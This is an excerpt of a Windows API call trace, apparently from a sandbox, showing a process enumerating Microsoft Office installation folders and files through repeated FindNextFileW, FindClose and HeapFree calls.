	[0147.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.004] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1
	[0147.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.005] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1
	[0147.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.005] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0147.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.005] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0147.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.005] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1
	[0147.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.005] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0147.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.005] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0147.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.006] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0147.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.006] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0147.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.006] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0147.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.006] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0147.006] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0147.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.007] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1
	[0147.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.021] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1
	[0147.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.033] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1
	[0147.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.407] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1
	[0147.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.408] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0147.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.409] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0147.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.409] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1
	[0147.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.410] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1
	[0147.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.413] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1
	[0147.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.443] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1
	[0147.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.443] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1
	[0147.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.445] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1
	[0147.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0147.447] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1
	[0148.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0148.174] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0148.174] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0148.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0148.175] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1
	[0148.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0148.182] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1
	[0148.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0148.182] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1
	[0148.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0148.193] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0148.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0148.198] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0148.198] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0148.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0148.199] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0148.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0148.571] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1
	[0148.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0148.580] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0
	[0148.580] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0148.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0148.580] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0148.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0148.598] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1
	[0148.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0148.601] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0148.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0148.601] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0
	[0148.601] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0148.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
